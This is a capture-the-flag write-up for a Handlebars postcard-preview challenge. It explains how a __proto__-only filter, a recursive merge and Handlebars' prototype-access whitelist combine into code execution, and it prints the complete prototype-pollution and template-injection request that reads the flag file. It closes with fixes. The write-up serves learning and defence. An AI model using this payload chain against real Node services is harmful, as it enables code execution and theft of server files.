Neven Marić
FortID 2026

WebFortID 2026

Do You Know Lika?

A JSON merge in a Handlebars preview worker allows prototype pollution past a __proto__ only filter, which re-enables the proto methods a template injection gadget needs to read the flag file.

  • prototype-pollution
  • ssti
  • handlebars
  • node

What this one teaches

  • Blocking only the literal __proto__ key misses the equivalent constructor.prototype path to the same shared prototype.
  • A recursive object merge that keeps walking into existing object properties is a prototype pollution sink, even with no __proto__ in sight.
  • Handlebars reads its allowedProtoMethods/allowedProtoProperties whitelist as a normal property lookup, so a polluted Object.prototype can hand a template its own whitelist.
  • The classic Handlebars SSTI gadget turns a string's .sub method into the Function constructor via apply, then calls the built function to run arbitrary code.

Task description

The Lika Tourist Board has launched a postcard designer for visitors who think they know the region. Pick a theme, fill in the postcard data, and let a fresh print worker process prepare a preview. Can you print the ranger’s secret?

What the service does

The page posts a job to /api/preview with three fields: a Handlebars template string, a theme object and a model object. src/server.js validates the job, then spawns a short-lived Node worker process per request (src/worker.js) to compile and render the template. The flag is written to /tmp/lika/flag.txt, and the worker is launched with just enough file-system permission to read that one path:

const WORKER_ARGUMENTS = [
  "--permission",
  "--allow-fs-read=/challenge",
  "--allow-fs-read=/tmp/lika/flag.txt",
  "--max-old-space-size=48",
  WORKER,
];

Node’s --permission flag turns on its permission model, which denies everything not explicitly allowed. The worker may read /challenge and the flag file, and nothing else. --allow-child-process is absent, so spawning a shell is off the table. The goal is code execution inside the worker itself, reading the flag with fs directly.

The attacker controls the template source and two JSON objects, so this is server-side template injection waiting to happen. Handlebars is not a plain string formatter though, and modern versions actively block the usual injection gadgets. The interesting part of this challenge is the three layers that sit between the input and code execution, and how each one gives way.

The filter blocks only the literal __proto__

server.js walks the submitted JSON recursively and rejects any object that carries a __proto__ key:

function containsBlockedKey(value, seen = new Set()) {
  if (value === null || typeof value !== "object" || seen.has(value)) {
    return false;
  }
  seen.add(value);
  for (const key of Object.keys(value)) {
    if (key === "__proto__") {
      return true;
    }
    if (containsBlockedKey(value[key], seen)) {
      return true;
    }
  }
  return false;
}

It only ever compares a key against the string "__proto__". The keys constructor and prototype pass through untouched, even though walking constructor.prototype on any plain object lands on the exact same shared Object.prototype that __proto__ points at. This is the shape behind CVE-2019-10744: a __proto__-only blocklist is not a pollution defence, because there is a second spelling of the same destination.

What prototype pollution is, for a non-JavaScript reader

Every ordinary JavaScript object inherits from a single shared object called Object.prototype. When you read obj.foo and obj has no own foo, the lookup walks up to that shared prototype. Writing a property onto Object.prototype therefore makes it appear on every object in the program that does not override it.

Prototype pollution is reaching that shared object through attacker-controlled keys and writing to it. Two paths lead there from a normal object obj:

  • obj.__proto__, the historic accessor, which is what naive filters look for.
  • obj.constructor.prototype: obj.constructor is the Object function, and Object.prototype is its prototype property. Same destination, different spelling.

Once you can write a property onto Object.prototype, any code elsewhere that reads an option or flag off a plain object, and expects it to be absent, instead sees your injected value through inheritance. That is the lever this whole chain pulls.

The merge walks straight into Object.prototype

The worker merges the submitted theme into a fresh object with a recursive merge:

function mergeTheme(target, source) {
  for (const [key, value] of Object.entries(source)) {
    if (value !== null && typeof value === "object") {
      target[key] ??= Array.isArray(value) ? [] : {};
      mergeTheme(target[key], value);
    } else {
      target[key] = value;
    }
  }
  return target;
}

Send theme: {"constructor": {"prototype": {"X": ...}}} and the merge recurses into target.constructor. The ??= only assigns when the slot is empty, and target.constructor already resolves to Object through inheritance, so recursion continues into Object. From there it steps into Object.prototype, which also already exists, and writes the leaf key X directly onto it. No __proto__ key ever appeared, so the filter from the previous step never fired. The merge is the pollution sink.

Handlebars reads its whitelist off the polluted prototype

Handlebars 4.6 and later refuse to let a template reach inherited (prototype) members unless they are explicitly whitelisted, and the worker turns the defaults off:

return template({ ...job.model, theme }, {
  data: rootData,
  partials: safePartials,
  allowProtoMethodsByDefault: false,
  allowProtoPropertiesByDefault: false,
});

The gap is what it does not set. The options object never gets allowedProtoMethods or allowedProtoProperties as own properties. Handlebars’ internal proto-access check reads those options straight off the options object, so when they are missing as own properties, the lookup falls through the prototype chain to Object.prototype, the object the merge just polluted. Writing

Object.prototype.allowedProtoMethods = {
  "split": true, "pop": true, "push": true,
  "sub": true, "constructor": true, "apply": true
}

hands Handlebars a method whitelist of my choosing and re-enables exactly the proto methods the injection gadget needs. The guard that was meant to stop SSTI is now reading its policy from the attacker.

The partial allow-list, which this path never touches

validateJob also restricts partial tags. It rejects dynamic partial expressions ({{> (...)}}), custom inline partials ({{#*inline}}), and any {{> name}} whose name is not @partial-block or myPartial:

if (/\{\{~?\s*>\s*\(/u.test(body.template)) return "Dynamic partial expressions are not supported";
if (/\{\{~?#\*\s*inline\b/u.test(body.template)) return "Custom inline layouts are not supported";
const partialTag = /\{\{~?#?>~?\s*([^\s}~]+)/gu;
const allowedPartials = new Set(["@partial-block", "myPartial"]);

These exist to close off a partial-based route into the template engine. The pollution-plus-SSTI gadget below uses no partials at all, so these checks never run against it.

Building the SSTI gadget

With a method whitelist in place, the rest is the known Handlebars RCE: reach a string’s .sub method, repoint it at Function.prototype.apply via apply, and call it with the Function constructor as the receiver to build new Function(code). Two mechanics decide whether the gadget data stays clean.

A context function invoked through a path is compiled by Handlebars to fn.call(this, ...args, options), so it always appends a trailing options object as the last argument. That trailing object breaks two things unless handled:

  • Array.prototype.split’s limit argument would otherwise be that options object, which coerces to 0 and returns an empty array, and #with/#each skip an empty array. Passing an explicit split limit ((s.split "zz" 5)) keeps the array non-empty and mutable.
  • Each push call also receives the trailing options object as an extra element, so every mutation is a push followed by a pop to discard it again.

The template builds two arrays this way. One holds the Function constructor, reached off a string’s sub.constructor; the other holds the code string to run. #each conslist iterates the constructor array, which sets this inside the loop to the Function constructor itself, so s.sub.apply resolves to Function.prototype.apply and runs as Function.apply(0, codeArray), that is, new Function(code). The resulting function value is then invoked by Handlebars’ triple-stache ({{{this}}}), which calls a function with no arguments.

The code that runs inside the worker reads the flag through fs, matching the permission model (no child process, but --allow-fs-read for the flag path):

return process.mainModule.require('fs').readFileSync(process.env.FLAG_PATH, 'utf8')

The request

{
  "template": "{{#with \"xx\" as |s|}}{{#with (s.split \"zz\" 5) as |conslist|}}{{~#with (conslist.pop)}}{{/with~}}{{~#with (conslist.push (lookup s.sub \"constructor\"))}}{{/with~}}{{~#with (conslist.pop)}}{{/with~}}{{#with (s.split \"zz\" 5) as |codelist|}}{{~#with (codelist.pop)}}{{/with~}}{{~#with (codelist.push \"return process.mainModule.require('fs').readFileSync(process.env.FLAG_PATH,'utf8')\")}}{{/with~}}{{~#with (codelist.pop)}}{{/with~}}{{#each conslist}}{{#with (s.sub.apply 0 codelist)}}{{{this}}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}",
  "theme": {
    "constructor": { "prototype": { "allowedProtoMethods": {
      "split": true, "pop": true, "push": true,
      "sub": true, "constructor": true, "apply": true
    }}}
  },
  "model": {}
}

Posting this to /api/preview on the live instance returned {"ok": true, "output": "FortID{...}\n"} with the flag inside.

Reproducing the chain

The chain does not need the live instance. I installed the challenge’s pinned handlebars@4.7.8, pointed FLAG_PATH at a placeholder file, and called the worker’s own render() with the request above. The pollution and the SSTI are both local to the worker, so this exercises the whole thing end to end:

pre  Object.prototype.allowedProtoMethods = undefined
post Object.prototype.allowedProtoMethods = object
RENDER OUTPUT: "FortID{l0c4l_pl4c3h0ld3r...\n"

Before the render, Object.prototype.allowedProtoMethods does not exist; the render pollutes it into an object, and the gadget executes, returning the placeholder flag file’s contents verbatim. Running the identical template with an empty theme (no pollution) instead throws Missing helper: "s.split": with the whitelist absent, Handlebars refuses to resolve the string’s split method, so the gadget never assembles. The pollution is doing the load-bearing work, not the template on its own. And containsBlockedKey applied to the constructor.prototype payload returns false, confirming it slips past the server’s filter.

The flag in the frontmatter is the one from the live run; the reproduction above yields the same primitive that produced it.

Why the layers did not hold

Each defence here was sound in isolation and defeated by the one before it. The __proto__ filter missed constructor.prototype; the merge turned that into a write onto the shared prototype; and Handlebars read its own safety whitelist off that polluted prototype. The fixes line up the same way: filter constructor and prototype as well (or merge into an Object.create(null) target with no live prototype to climb), and pass allowedProtoMethods as an own, empty, null-prototype object so the lookup cannot fall through. More fundamentally, compiling attacker-supplied template source is the root exposure; letting users fill data into a fixed, server-owned template removes the gadget entirely. The permission model was the one layer that held: even with code execution, the worker could only read the two allowed paths, and the flag was reachable only because its path was deliberately on that list.

The flagRevealFortID{L1K4_41R_1S_50_FR35H_Y0U_C4N_T45T3_TH3_P0LLUT10N_6cbf012ae7}

This CTF was possibly solved, and the writeup most likely written by an LLM. Apologies for inconsistencies.